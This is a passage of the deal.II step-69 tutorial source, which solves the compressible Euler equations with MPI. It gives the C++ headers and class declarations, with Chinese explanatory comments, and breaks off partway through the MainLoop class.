\u5305\u542b\u6587\u4ef6\u7684\u96c6\u5408\u662f\u76f8\u5f53\u6807\u51c6\u7684\u3002\u6700\u8010\u4eba\u5bfb\u5473\u7684\u90e8\u5206\u662f\uff0c\u6211\u4eec\u5c06\u5b8c\u5168\u4f9d\u9760deal.II\u6570\u636e\u7ed3\u6784\u8fdb\u884cMPI\u5e76\u884c\u5316\uff0c\u7279\u522b\u662f\u901a\u8fc7 parallel::distributed::Triangulation \u548c LinearAlgebra::distributed::Vector \u5305\u542b\u7684 <code>distributed/tria.h</code> \u548c <code>lac/la_parallel_vector.h</code>  \u3002\u6211\u4eec\u5c06\u4f7f\u7528\u975e\u5206\u5e03\u5f0f\u7684  dealii::SparseMatrix  (  <code>lac/sparse_matrix.h</code>  ) \u6765\u5b58\u50a8  $\\mathbf{c}_{ij}$  \u3001  $\\mathbf{n}_{ij}$  \u548c  $d_{ij}$  \u77e9\u9635\u7684\u672c\u5730\u90e8\u5206\uff0c\u800c\u4e0d\u662f Trilinos \u6216 PETSc \u7279\u5b9a\u7684\u77e9\u9635\u7c7b\u3002\n\n#include <deal.II/base/conditional_ostream.h> \n#include <deal.II/base/parallel.h> \n#include <deal.II/base/parameter_acceptor.h> \n#include <deal.II/base/partitioner.h> \n#include <deal.II/base/quadrature.h> \n#include <deal.II/base/timer.h> \n#include <deal.II/base/work_stream.h> \n\n#include <deal.II/distributed/tria.h> \n\n#include <deal.II/dofs/dof_handler.h> \n#include <deal.II/dofs/dof_renumbering.h> \n#include <deal.II/dofs/dof_tools.h> \n\n#include <deal.II/fe/fe.h> \n#include <deal.II/fe/fe_q.h> \n#include <deal.II/fe/fe_values.h> \n#include <deal.II/fe/mapping.h> \n#include <deal.II/fe/mapping_q.h> \n\n#include <deal.II/grid/grid_generator.h> \n#include <deal.II/grid/manifold_lib.h> \n\n#include <deal.II/lac/dynamic_sparsity_pattern.h> \n#include <deal.II/lac/la_parallel_vector.h> \n#include <deal.II/lac/sparse_matrix.h> \n#include <deal.II/lac/sparse_matrix.templates.h> \n#include <deal.II/lac/vector.h> \n\n#include <deal.II/meshworker/scratch_data.h> \n\n#include <deal.II/numerics/data_out.h> \n#include <deal.II/numerics/vector_tools.h> \n\n// \u9664\u4e86\u4e0a\u8ff0deal.II\u7684\u5177\u4f53\u5185\u5bb9\u5916\uff0c\u6211\u4eec\u8fd8\u5305\u62ec\u56db\u4e2a\u63d0\u5347\u5934\u6587\u4ef6\u3002\u524d\u4e24\u4e2a\u662f\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u6211\u4eec\u5c06\u7528\u5b83\u6765\u5b9e\u73b0\u68c0\u67e5\u70b9\u548c\u91cd\u542f\u673a\u5236\u3002\n\n#include <boost/archive/binary_iarchive.hpp> \n#include <boost/archive/binary_oarchive.hpp> \n\n// \u6700\u540e\u4e24\u4e2a\u5934\u6587\u4ef6\u662f\u7528\u6765\u5728\u6574\u6570\u95f4\u9694\u4e0a\u521b\u5efa\u81ea\u5b9a\u4e49\u8fed\u4ee3\u5668\u8303\u56f4\u3002\n\n#include <deal.II/base/std_cxx20/iota_view.h> \n#include <boost/range/iterator_range.hpp> \n\n//\u7528\u4e8e  std::isnan,  \u3002\n// std::isinf,  \n// std::ifstream,  \n// std::async, \u548c std::future  \u3002\n#include <cmath> \n#include <fstream> \n#include <future> \n// @sect3{Class template declarations}  \n\n// \u6211\u4eec\u5f00\u59cb\u5b9e\u9645\u7684\u5b9e\u73b0\uff0c\u5148\u58f0\u660e\u6240\u6709\u7684\u7c7b\u53ca\u5176\u6570\u636e\u7ed3\u6784\u548c\u65b9\u6cd5\u3002\u4e0e\u4e4b\u524d\u7684\u4f8b\u5b50\u6b65\u9aa4\u76f8\u6bd4\uff0c\u6211\u4eec\u4f7f\u7528\u4e86\u66f4\u7cbe\u7ec6\u7684\u6982\u5ff5\u3001\u6570\u636e\u7ed3\u6784\u548c\u53c2\u6570\u5c01\u88c5\u5230\u5404\u4e2a\u7c7b\u4e2d\u3002\u56e0\u6b64\uff0c\u4e00\u4e2a\u5355\u4e00\u7684\u7c7b\u901a\u5e38\u56f4\u7ed5\u7740\u4e00\u4e2a\u5355\u4e00\u7684\u6570\u636e\u7ed3\u6784\uff08\u5982 <code>Discretization</code> \u7c7b\u4e2d\u7684Triangulation\uff09\uff0c\u6216\u8005\u4e00\u4e2a\u5355\u4e00\u7684\u65b9\u6cd5\uff08\u5982 <code>%TimeStepping</code> \u7c7b\u7684 <code>make_one_step()</code> \u51fd\u6570\uff09\u3002\u6211\u4eec\u901a\u5e38\u58f0\u660e\u53c2\u6570\u53d8\u91cf\u548c\u4ece\u5934\u5f00\u59cb\u7684\u6570\u636e\u5bf9\u8c61\u4e3a`private'\uff0c\u800c\u4f7f\u5176\u4ed6\u7c7b\u4f7f\u7528\u7684\u65b9\u6cd5\u548c\u6570\u636e\u7ed3\u6784\u4e3a`public'\u3002\n\n//  @note  \u4e00\u4e2a\u66f4\u7b80\u6d01\u7684\u65b9\u6cd5\u662f\u901a\u8fc7<a\n//  href=\"https:en.wikipedia.org/wiki/Mutator_method\">getter/setter functions</a>\u6765\u4fdd\u62a4\u5bf9\u6240\u6709\u6570\u636e\u7ed3\u6784\u7684\u8bbf\u95ee\u3002\u4e3a\u4e86\u7b80\u6d01\u8d77\u89c1\uff0c\u6211\u4eec\u4e0d\u91c7\u7528\u8fd9\u79cd\u65b9\u6cd5\u3002\n\n// \u6211\u4eec\u8fd8\u6ce8\u610f\u5230\uff0c\u7edd\u5927\u591a\u6570\u7684\u7c7b\u90fd\u662f\u4eceParameterAcceptor\u6d3e\u751f\u7684\u3002\u8fd9\u6709\u5229\u4e8e\u5c06\u6240\u6709\u7684\u5168\u5c40\u53c2\u6570\u5f52\u5165\u4e00\u4e2a\uff08\u5168\u5c40\uff09ParameterHandler\u3002\u5173\u4e8e\u4eceParameterAcceptor\u7ee7\u627f\u4f5c\u4e3a\u5168\u5c40\u8ba2\u9605\u673a\u5236\u7684\u66f4\u591a\u89e3\u91ca\u53ef\u4ee5\u5728  step-60  \u4e2d\u627e\u5230\u3002\n\nnamespace Step69 \n{ \n  using namespace dealii; \n\n// \u6211\u4eec\u9996\u5148\u5b9a\u4e49\u4e00\u4e9b types::boundary_id \u5e38\u91cf\uff0c\u7528\u4e8e\u6574\u4e2a\u6559\u7a0b\u6b65\u9aa4\u3002\u8fd9\u4f7f\u5f97\u6211\u4eec\u53ef\u4ee5\u7528\u4e00\u4e2a\u52a9\u8bb0\u7b26\uff08\u5982 <code>do_nothing</code>  \uff09\u800c\u4e0d\u662f\u4e00\u4e2a\u6570\u503c\u6765\u6307\u4ee3\u8fb9\u754c\u7c7b\u578b\u3002\n\n  namespace Boundaries \n  { \n    constexpr types::boundary_id do_nothing = 0; \n    constexpr types::boundary_id free_slip  = 1; \n    constexpr types::boundary_id dirichlet  = 2; \n  } // namespace Boundaries \n// @sect4{The <code>Discretization</code> class}  \n\n//  <code>Discretization</code> \u7c7b\u5305\u542b\u6240\u6709\u5173\u4e8e\u95ee\u9898\u7684\u7f51\u683c\uff08\u4e09\u89d2\u5f62\uff09\u548c\u79bb\u6563\u5316\uff08\u6620\u5c04\u3001\u6709\u9650\u5143\u3001\u6b63\u4ea4\uff09\u7684\u6570\u636e\u7ed3\u6784\u3002\u5982\u524d\u6240\u8ff0\uff0c\u6211\u4eec\u4f7f\u7528ParameterAcceptor\u7c7b\u6765\u81ea\u52a8\u586b\u5145\u7279\u5b9a\u95ee\u9898\u7684\u53c2\u6570\uff0c\u5982\u51e0\u4f55\u4fe1\u606f\uff08 <code>length</code>  \u7b49\uff09\u6216\u6765\u81ea\u53c2\u6570\u6587\u4ef6\u7684\u7ec6\u5316\u6c34\u5e73\uff08 <code>refinement</code>  \uff09\u3002\u8fd9\u5c31\u8981\u6c42\u6211\u4eec\u628a\u6570\u636e\u7ed3\u6784\u7684\u521d\u59cb\u5316\u5206\u6210\u4e24\u4e2a\u51fd\u6570\u3002\u6211\u4eec\u5728\u6784\u9020\u51fd\u6570\u4e2d\u521d\u59cb\u5316\u6240\u6709\u4e0d\u4f9d\u8d56\u53c2\u6570\u7684\u4e1c\u897f\uff0c\u5e76\u5c06\u7f51\u683c\u7684\u521b\u5efa\u63a8\u8fdf\u5230 <code>setup()</code> \u65b9\u6cd5\u4e2d\uff0c\u4e00\u65e6\u6240\u6709\u53c2\u6570\u901a\u8fc7 ParameterAcceptor::initialize(). \u8bfb\u5165\uff0c\u5c31\u53ef\u4ee5\u8c03\u7528\u8be5\u65b9\u6cd5\u3002\n  template <int dim> \n  class Discretization : public ParameterAcceptor \n  { \n  public: \n    Discretization(const MPI_Comm     mpi_communicator, \n                   TimerOutput &      computing_timer, \n                   const std::string &subsection = \"Discretization\"); \n\n    void setup(); \n\n    const MPI_Comm mpi_communicator; \n\n    parallel::distributed::Triangulation<dim> triangulation; \n\n    const MappingQ<dim>   mapping; \n    const FE_Q<dim>       finite_element; \n    const QGauss<dim>     quadrature; \n    const QGauss<dim - 1> face_quadrature; \n\n  private: \n    TimerOutput &computing_timer; \n\n    double length; \n    double height; \n    double disk_position; \n    double disk_diameter; \n\n    unsigned int refinement; \n  }; \n// @sect4{The <code>OfflineData</code> class}  \n\n//  <code>OfflineData</code> \u7c7b\u5305\u542b\u4e86\u79bb\u6563\u5316\u4e2d\u51e0\u4e4e\u6240\u6709\u4e0d\u968f\u65f6\u95f4\u6f14\u53d8\u7684\u7ec4\u4ef6\uff0c\u7279\u522b\u662fDoFHandler\u3001SparsityPattern\u3001\u8fb9\u754c\u56fe\u3001\u5757\u72b6\u8d28\u91cf\u77e9\u9635\u3001 $\\mathbf{c}_{ij}$ \u548c $\\mathbf{n}_{ij}$ \u77e9\u9635\u3002\u8fd9\u91cc\uff0c\u672f\u8bed<i>offline</i>\u6307\u7684\u662f <code>OfflineData</code> \u7684\u6240\u6709\u7c7b\u6210\u5458\u90fd\u6709\u660e\u786e\u5b9a\u4e49\u7684\u503c\uff0c\u4e0e\u5f53\u524d\u65f6\u95f4\u6b65\u957f\u65e0\u5173\u3002\u8fd9\u610f\u5473\u7740\u5b83\u4eec\u53ef\u4ee5\u63d0\u524d\u521d\u59cb\u5316\uff08\u5728<i>time step zero</i>\uff09\uff0c\u5e76\u4e14\u4e0d\u610f\u5473\u7740\u5728\u4efb\u4f55\u540e\u6765\u7684\u65f6\u95f4\u6b65\u957f\u4e2d\u88ab\u4fee\u6539\u3002\u4f8b\u5982\uff0c\u7a00\u758f\u6a21\u5f0f\u4e0d\u5e94\u8be5\u968f\u7740\u65f6\u95f4\u7684\u63a8\u8fdb\u800c\u6539\u53d8\uff08\u6211\u4eec\u5728\u7a7a\u95f4\u4e0a\u4e0d\u505a\u4efb\u4f55\u5f62\u5f0f\u7684\u9002\u5e94\u6027\uff09\u3002\u540c\u6837\u5730\uff0c\u5305\u7edc\u8d28\u91cf\u77e9\u9635\u7684\u6761\u76ee\u4e5f\u4e0d\u5e94\u8be5\u968f\u7740\u65f6\u95f4\u7684\u63a8\u8fdb\u800c\u88ab\u4fee\u6539\u3002\n\n// \u6211\u4eec\u8fd8\u8ba1\u7b97\u5e76\u5b58\u50a8\u4e00\u4e2a <code>boundary_normal_map</code> \uff0c\u5b83\u5305\u542b\u4e00\u4e2a\u4ece\u8fb9\u754c\u81ea\u7531\u5ea6\u7684 types::global_dof_index \u7c7b\u578b\u7684\u5168\u5c40\u7d22\u5f15\u5230\u4e00\u4e2a\u7531\u6cd5\u5411\u91cf\u3001\u8fb9\u754cID\u548c\u4e0e\u81ea\u7531\u5ea6\u76f8\u5173\u7684\u4f4d\u7f6e\u7ec4\u6210\u7684\u5143\u7ec4\u7684\u6620\u5c04\u3002\u6211\u4eec\u5fc5\u987b\u5728\u8fd9\u4e2a\u7c7b\u4e2d\u8ba1\u7b97\u548c\u5b58\u50a8\u8fd9\u4e9b\u51e0\u4f55\u4fe1\u606f\uff0c\u56e0\u4e3a\u6211\u4eec\u5728\u540e\u9762\u7684\u4ee3\u6570\u5faa\u73af\u4e2d\u65e0\u6cd5\u83b7\u5f97\u51e0\u4f55\uff08\u6216\u57fa\u4e8e\u5355\u5143\uff09\u7684\u4fe1\u606f\u3002\n\n// \u5c3d\u7ba1\u8fd9\u4e2a\u7c7b\u76ee\u524d\u6ca1\u6709\u4efb\u4f55\u53ef\u4ee5\u4ece\u53c2\u6570\u6587\u4ef6\u4e2d\u8bfb\u5165\u7684\u53c2\u6570\uff0c\u4f46\u6211\u4eec\u8fd8\u662f\u4eceParameterAcceptor\u6d3e\u751f\u51fa\u6765\uff0c\u5e76\u9075\u5faa\u4e0eDiscretization\u7c7b\u76f8\u540c\u7684\u4e60\u60ef\uff0c\u63d0\u4f9b\u4e00\u4e2a <code>setup()</code> (and <code>assemble()</code>  )\u65b9\u6cd5\u3002\n\n  template <int dim> \n  class OfflineData : public ParameterAcceptor \n  { \n  public: \n    using BoundaryNormalMap = \n      std::map<types::global_dof_index, \n               std::tuple<Tensor<1, dim>, types::boundary_id, Point<dim>>>; \n\n    OfflineData(const MPI_Comm             mpi_communicator, \n                TimerOutput &              computing_timer, \n                const Discretization<dim> &discretization, \n                const std::string &        subsection = \"OfflineData\"); \n\n    void setup(); \n    void assemble(); \n\n    DoFHandler<dim> dof_handler; \n\n    std::shared_ptr<const Utilities::MPI::Partitioner> partitioner; \n\n    unsigned int n_locally_owned; \n    unsigned int n_locally_relevant; \n\n    SparsityPattern sparsity_pattern; \n\n    BoundaryNormalMap boundary_normal_map; \n\n    SparseMatrix<double>                  lumped_mass_matrix; \n    std::array<SparseMatrix<double>, dim> cij_matrix; \n    std::array<SparseMatrix<double>, dim> nij_matrix; \n    SparseMatrix<double>                  norm_matrix; \n\n  private: \n    const MPI_Comm mpi_communicator; \n    TimerOutput &  computing_timer; \n\n    SmartPointer<const Discretization<dim>> discretization; \n  }; \n// @sect4{The <code>ProblemDescription</code> class}  \n\n// \u8be5\u7c7b\u7684\u6210\u5458\u51fd\u6570\u662f\u6b27\u62c9\u65b9\u7a0b\u7279\u6709\u7684\u5b9e\u7528\u51fd\u6570\u548c\u6570\u636e\u7ed3\u6784\u3002\n\n// - \u7c7b\u578b\u522b\u540d <code>state_type</code> \u7528\u4e8e\u72b6\u6001 $\\mathbf{U}_i^n$  \u3002\n\n// - \u7c7b\u578b\u522b\u540d  <code>flux_type</code>  \u7528\u6765\u8868\u793a\u901a\u91cf  $\\mathbb{f}(\\mathbf{U}_j^n)$  \u3002\n\n// -  <code>momentum</code> \u51fd\u6570\u4ece\u72b6\u6001\u5411\u91cf $[\\rho,\\textbf{m},E]$ \u4e2d\u63d0\u53d6 $\\textbf{m}$ \u5e76\u5b58\u50a8\u5728\u4e00\u4e2a <code>Tensor<1, dim></code> \u4e2d\u3002\n\n// -  <code>internal_energy</code> \u51fd\u6570\u4ece\u7ed9\u5b9a\u7684\u72b6\u6001\u5411\u91cf $[\\rho,\\textbf{m},E]$ \u4e2d\u8ba1\u7b97 $E - \\frac{|\\textbf{m}|^2}{2\\rho}$  \u3002\n\n// \u7c7b\u6210\u5458  <code>component_names</code>  ,  <code>pressure</code>, and <code>speed_of_sound</code>  \u7684\u76ee\u7684\u4ece\u5b83\u4eec\u7684\u540d\u5b57\u4e2d\u5c31\u53ef\u4ee5\u770b\u51fa\u3002\u6211\u4eec\u8fd8\u63d0\u4f9b\u4e86\u4e00\u4e2a\u51fd\u6570  <code>compute_lambda_max()</code>  \uff0c\u7528\u4e8e\u8ba1\u7b97\u4e0a\u9762\u63d0\u5230\u7684\u6ce2\u901f\u4f30\u8ba1\uff0c  $\\lambda_{max}(\\mathbf{U},\\mathbf{V},\\mathbf{n})$  \uff0c\u7528\u4e8e\u8ba1\u7b97  $d_{ij}$  \u77e9\u9635\u3002\n\n//  @note   <code>DEAL_II_ALWAYS_INLINE</code> \u5b8f\u6269\u5c55\u4e3a\u4e00\u4e2a\uff08\u7f16\u8bd1\u5668\u7279\u5b9a\u7684\uff09pragma\uff0c\u786e\u4fdd\u8fd9\u4e2a\u7c7b\u4e2d\u5b9a\u4e49\u7684\u76f8\u5e94\u51fd\u6570\u603b\u662f\u5185\u8054\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u6bcf\u6b21\u8c03\u7528\u8be5\u51fd\u6570\u65f6\uff0c\u51fd\u6570\u4f53\u90fd\u88ab\u653e\u5728\u539f\u4f4d\uff0c\u800c\u4e0d\u4f1a\u4ea7\u751f\u8c03\u7528\uff08\u548c\u4ee3\u7801\u8f6c\u63a5\uff09\u3002\u8fd9\u6bd4 <code>inline</code> \u5173\u952e\u5b57\u8981\u5f3a\uff0c\u540e\u8005\u6216\u591a\u6216\u5c11\u662f\u5bf9\u7f16\u8bd1\u5668\u7684\u4e00\u4e2a\uff08\u6e29\u548c\u7684\uff09\u5efa\u8bae\uff0c\u5373\u7a0b\u5e8f\u5458\u8ba4\u4e3a\u5185\u8054\u51fd\u6570\u662f\u6709\u76ca\u7684\u3002  <code>DEAL_II_ALWAYS_INLINE</code> \u53ea\u5e94\u5728\u5f88\u5c11\u7684\u60c5\u51b5\u4e0b\u8c28\u614e\u4f7f\u7528\uff0c\u6bd4\u5982\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u5b9e\u9645\u4e0a\u77e5\u9053\uff08\u7531\u4e8e\u57fa\u51c6\u6d4b\u8bd5\uff09\u5185\u8054\u6709\u5173\u7684\u51fd\u6570\u53ef\u4ee5\u63d0\u9ad8\u6027\u80fd\u3002\n\n// \u6700\u540e\uff0c\u6211\u4eec\u6ce8\u610f\u5230\u8fd9\u662f\u672c\u6559\u7a0b\u6b65\u9aa4\u4e2d\u552f\u4e00\u4e00\u4e2a\u4e0e\u7279\u5b9a\u7684 \"\u7269\u7406\u5b66 \"\u6216 \"\u53cc\u66f2\u5b88\u6052\u5b9a\u5f8b\"\uff08\u672c\u4f8b\u4e2d\u4e3a\u6b27\u62c9\u65b9\u7a0b\uff09\u76f8\u5173\u7684\u7c7b\u3002\u6240\u6709\u5176\u4ed6\u7684\u7c7b\u4e3b\u8981\u662f \"\u79bb\u6563\u5316 \"\u7c7b\uff0c\u4e0e\u6240\u6c42\u89e3\u7684\u7279\u5b9a\u7269\u7406\u5b66\u65e0\u5173\u3002\n\n  template <int dim> \n  class ProblemDescription \n  { \n  public: \n    static constexpr unsigned int problem_dimension = 2 + dim; \n\n    using state_type = Tensor<1, problem_dimension>; \n    using flux_type  = Tensor<1, problem_dimension, Tensor<1, dim>>; \n\n    const static std::array<std::string, problem_dimension> component_names; \n\n    static constexpr double gamma = 7. / 5.; \n\n    static DEAL_II_ALWAYS_INLINE inline Tensor<1, dim> \n    momentum(const state_type &U); \n\n    static DEAL_II_ALWAYS_INLINE inline double \n    internal_energy(const state_type &U); \n\n    static DEAL_II_ALWAYS_INLINE inline double pressure(const state_type &U); \n\n    static DEAL_II_ALWAYS_INLINE inline double \n    speed_of_sound(const state_type &U); \n\n    static DEAL_II_ALWAYS_INLINE inline flux_type flux(const state_type &U); \n\n    static DEAL_II_ALWAYS_INLINE inline double \n    compute_lambda_max(const state_type &    U_i, \n                       const state_type &    U_j, \n                       const Tensor<1, dim> &n_ij); \n  }; \n// @sect4{The <code>InitialValues</code> class}  \n\n//  <code>InitialValues</code> \u7c7b\u7684\u552f\u4e00\u516c\u5171\u6570\u636e\u5c5e\u6027\u662f\u4e00\u4e2a std::function \u3002\n// <code>initial_state</code> \uff0c\u7528\u4e8e\u8ba1\u7b97\u7ed9\u5b9a\u7684\u70b9\u548c\u65f6\u95f4\u7684\u521d\u59cb\u72b6\u6001\u3002\u8fd9\u4e2a\u51fd\u6570\u7528\u4e8e\u586b\u5145\u521d\u59cb\u6d41\u573a\uff0c\u4ee5\u53ca\u5728\u6bcf\u4e2a\u65f6\u95f4\u6b65\u957f\u4e2d\u660e\u786e\u8bbe\u7f6e\u8fea\u91cc\u5207\u7279\u8fb9\u754c\u6761\u4ef6\uff08\u5728\u6d41\u5165\u8fb9\u754c\uff09\u3002\n\n// \u5728\u8fd9\u4e2a\u4f8b\u5b50\u7684\u6b65\u9aa4\u4e2d\uff0c\u6211\u4eec\u7b80\u5355\u5730\u5b9e\u73b0\u4e86\u4e00\u4e2a\u5747\u5300\u7684\u6d41\u573a\uff0c\u5176\u65b9\u5411\u548c\u4e00\u7ef4\u539f\u59cb\u72b6\u6001\uff08\u5bc6\u5ea6\u3001\u901f\u5ea6\u3001\u538b\u529b\uff09\u4ece\u53c2\u6570\u6587\u4ef6\u4e2d\u8bfb\u53d6\u3002\n\n// \u6700\u597d\u662f\u4e00\u6b21\u6027\u521d\u59cb\u5316\u8fd9\u4e2a\u7c7b\uff1a\u521d\u59cb\u5316/\u8bbe\u7f6e\u53c2\u6570\u5e76\u5b9a\u4e49\u4f9d\u8d56\u4e8e\u8fd9\u4e9b\u9ed8\u8ba4\u53c2\u6570\u7684\u7c7b\u6210\u5458\u3002\u7136\u800c\uff0c\u7531\u4e8e\u6211\u4eec\u4e0d\u77e5\u9053\u53c2\u6570\u7684\u5b9e\u9645\u503c\uff0c\u8fd9\u5728\u4e00\u822c\u60c5\u51b5\u4e0b\u662f\u6beb\u65e0\u610f\u4e49\u548c\u4e0d\u5b89\u5168\u7684\uff08\u6211\u4eec\u5e0c\u671b\u6709\u673a\u5236\u6765\u68c0\u67e5\u8f93\u5165\u53c2\u6570\u7684\u4e00\u81f4\u6027\uff09\u3002\u6211\u4eec\u6ca1\u6709\u5b9a\u4e49\u53e6\u4e00\u4e2a <code>setup()</code> \u65b9\u6cd5\u5728\u8c03\u7528 ParameterAcceptor::initialize() \u540e\u88ab\u8c03\u7528\uff08\u624b\u52a8\uff09\uff0c\u800c\u662f\u4e3a\u7c7b\u6210\u5458 <code>parse_parameters_call_back()</code> \u63d0\u4f9b\u4e86\u4e00\u4e2a \"\u5b9e\u73b0\"\uff0c\u5f53\u8c03\u7528 ParameterAcceptor::initialize() \u65f6\uff0c\u6bcf\u4e2a\u7ee7\u627f\u81eaParameterAceptor\u7684\u7c7b\u90fd\u4f1a\u81ea\u52a8\u8c03\u7528\u3002\n\n  template <int dim> \n  class InitialValues : public ParameterAcceptor \n  { \n  public: \n    using state_type = typename ProblemDescription<dim>::state_type; \n\n    InitialValues(const std::string &subsection = \"InitialValues\"); \n\n    std::function<state_type(const Point<dim> &point, double t)> initial_state; \n\n  private: \n\n// \u6211\u4eec\u58f0\u660e\u4e00\u4e2a\u79c1\u6709\u7684\u56de\u8c03\u51fd\u6570\uff0c\u5b83\u5c06\u4e0e ParameterAcceptor::parse_parameters_call_back \u4fe1\u53f7\u76f8\u8fde\u63a5\u3002\n\n    void parse_parameters_callback(); \n\n    Tensor<1, dim> initial_direction; \n    Tensor<1, 3>   initial_1d_state; \n  }; \n// @sect4{The <code>%TimeStepping</code> class}  \n\n// \u6709\u4e86 <code>OfflineData</code> and <code>ProblemDescription</code> \u7c7b\u5728\u624b\uff0c\u6211\u4eec\u73b0\u5728\u53ef\u4ee5\u5b9e\u73b0\u4e0a\u9762\u8ba8\u8bba\u4e2d\u4ecb\u7ecd\u7684\u663e\u5f0f\u65f6\u95f4\u6b65\u8fdb\u65b9\u6848\u3002 <code>%TimeStepping</code> \u7c7b\u7684\u4e3b\u8981\u65b9\u6cd5\u662f<code>make_one_step(vector_type &U, double t)</code>\uff0c\u5b83\u63a5\u53d7\u5bf9\u72b6\u6001\u5411\u91cf <code>U</code> and a time point <code>t</code> \u7684\u5f15\u7528\uff08\u4f5c\u4e3a\u8f93\u5165\u53c2\u6570\uff09\u8ba1\u7b97\u66f4\u65b0\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u5c06\u5176\u5b58\u50a8\u5728\u5411\u91cf <code>temp</code>, swaps its contents with the vector <code>U</code> \u4e2d\uff0c\u5e76\u8fd4\u56de\u9009\u62e9\u7684 step- \u5927\u5c0f $\\tau$  \u3002\n\n// \u53e6\u4e00\u4e2a\u91cd\u8981\u7684\u65b9\u6cd5\u662f  <code>prepare()</code>  \uff0c\u4e3b\u8981\u662f\u4e3a\u4e34\u65f6\u5411\u91cf  <code>temp</code> and the matrix <code>dij_matrix</code>  \u5206\u522b\u8bbe\u7f6e\u9002\u5f53\u7684\u5206\u533a\u548c\u7a00\u758f\u6a21\u5f0f\u3002\n\n  template <int dim> \n  class TimeStepping : public ParameterAcceptor \n  { \n  public: \n    static constexpr unsigned int problem_dimension = \n      ProblemDescription<dim>::problem_dimension; \n\n    using state_type = typename ProblemDescription<dim>::state_type; \n    using flux_type  = typename ProblemDescription<dim>::flux_type; \n\n    using vector_type = \n      std::array<LinearAlgebra::distributed::Vector<double>, problem_dimension>; \n\n    TimeStepping(const MPI_Comm            mpi_communicator, \n                 TimerOutput &             computing_timer, \n                 const OfflineData<dim> &  offline_data, \n                 const InitialValues<dim> &initial_values, \n                 const std::string &       subsection = \"TimeStepping\"); \n\n    void prepare(); \n\n    double make_one_step(vector_type &U, double t); \n\n  private: \n    const MPI_Comm mpi_communicator; \n    TimerOutput &  computing_timer; \n\n    SmartPointer<const OfflineData<dim>>   offline_data; \n    SmartPointer<const InitialValues<dim>> initial_values; \n\n    SparseMatrix<double> dij_matrix; \n\n    vector_type temporary_vector; \n\n    double cfl_update; \n  }; \n// @sect4{The <code>SchlierenPostprocessor</code> class}  \n\n// \u5728\u5176\u6838\u5fc3\u4e2d\uff0cSchlieren\u7c7b\u5b9e\u73b0\u4e86\u7c7b\u6210\u5458  <code>compute_schlieren()</code>  \u3002\u8fd9\u4e2a\u7c7b\u6210\u5458\u7684\u4e3b\u8981\u76ee\u7684\u662f\u8ba1\u7b97\u4e00\u4e2a\u8f85\u52a9\u7684\u6709\u9650\u5143\u573a <code>schlieren</code>  \uff0c\u5b83\u5728\u6bcf\u4e2a\u8282\u70b9\u4e0a\u7531\\f[ \\text{schlieren}[i] = e^{\\beta \\frac{ |\\nabla r_i| - \\min_j |\\nabla r_j| }{\\max_j |\\nabla r_j| - \\min_j |\\nabla r_j| } }, \\f]\u5b9a\u4e49\uff0c\u5176\u4e2d $r$ \u539f\u5219\u4e0a\u53ef\u4ee5\u662f\u4efb\u4f55\u6807\u91cf\u3002\u4f46\u5728\u5b9e\u8df5\u4e2d\uff0c\u5bc6\u5ea6\u662f\u4e00\u4e2a\u81ea\u7136\u7684\u5019\u9009\u91cf\uff0c\u5373 $r \\dealcoloneq \\rho$  \u3002<a href=\"https:en.wikipedia.org/wiki/Schlieren\">Schlieren</a>\u540e\u5904\u7406\u662f\u4e00\u79cd\u6807\u51c6\u7684\u65b9\u6cd5\uff0c\u7528\u4e8e\u589e\u5f3a\u53ef\u89c6\u5316\u7684\u5bf9\u6bd4\u5ea6\uff0c\u5176\u7075\u611f\u6765\u81ea\u5b9e\u9645\u7684\u5b9e\u9a8cX\u5c04\u7ebf\u548c\u53ef\u89c6\u5316\u7684\u9634\u5f71\u6280\u672f\u3002(\u53c2\u89c1  step-67  \u53e6\u4e00\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u521b\u5efa\u4e86\u4e00\u4e2aSchlieren\u56fe\u3002)\n\n  template <int dim> \n  class SchlierenPostprocessor : public ParameterAcceptor \n  { \n  public: \n    static constexpr unsigned int problem_dimension = \n      ProblemDescription<dim>::problem_dimension; \n\n    using state_type = typename ProblemDescription<dim>::state_type; \n\n    using vector_type = \n      std::array<LinearAlgebra::distributed::Vector<double>, problem_dimension>; \n\n    SchlierenPostprocessor( \n      const MPI_Comm          mpi_communicator, \n      TimerOutput &           computing_timer, \n      const OfflineData<dim> &offline_data, \n      const std::string &     subsection = \"SchlierenPostprocessor\"); \n\n    void prepare(); \n\n    void compute_schlieren(const vector_type &U); \n\n    LinearAlgebra::distributed::Vector<double> schlieren; \n\n  private: \n    const MPI_Comm mpi_communicator; \n    TimerOutput &  computing_timer; \n\n    SmartPointer<const OfflineData<dim>> offline_data; \n\n    Vector<double> r; \n\n    unsigned int schlieren_index; \n    double       schlieren_beta; \n  }; \n// @sect4{The <code>MainLoop</code> class}  \n\n// \u73b0\u5728\uff0c\u5269\u4e0b\u7684\u5c31\u662f\u628a <code>%TimeStepping</code>, <code>InitialValues</code>  , \u548c  <code>SchlierenPostprocessor</code>  \u7c7b\u4e2d\u5b9e\u73b0\u7684\u65b9\u6cd5\u8fde\u5728\u4e00\u8d77\u3002\u6211\u4eec\u5728\u4e00\u4e2a\u5355\u72ec\u7684\u7c7b <code>MainLoop</code> \u4e2d\u505a\u5230\u8fd9\u4e00\u70b9\uff0c\u8be5\u7c7b\u5305\u542b\u6bcf\u4e2a\u7c7b\u7684\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5e76\u5728ParameterAcceptor\u7c7b\u7684\u5e2e\u52a9\u4e0b\u518d\u6b21\u8bfb\u5165\u4e00\u4e9b\u53c2\u6570\u3002\n\n  template <int dim> \n  class MainLoop : public ParameterAcceptor \n  { \n  public: \n    using vector_type = typename TimeStepping<dim>::vector_type; \n\n    MainLoop(const MPI_Comm mpi_communnicator); \n\n    void run(); \n\n  private: \n    vector_type interpolate_initial_values(const double t = 0); \n\n    void output(const vector_type &U, \n                const std::string &name, \n                double             t, \n                unsigned int       cycle, \n                bool               checkpoint = false); \n\n    const MPI_Comm     mpi_communicator; \n    std::ostringstream timer_output; \n    TimerOutput        computing_timer; \n\n    ConditionalOStream pcout; \n\n    std::string base_name; \n    double      t_final; \n    double      output_granularity; \n\n    bool asynchronous_writeback; \n\n    bool resume; \n\n    Discretization<dim>         discretization; \n    OfflineData<dim>            offline_data; \n    InitialValues<dim>          initial_values; \n    TimeStepping<dim>           time_stepping; \n    SchlierenPostprocessor<dim> 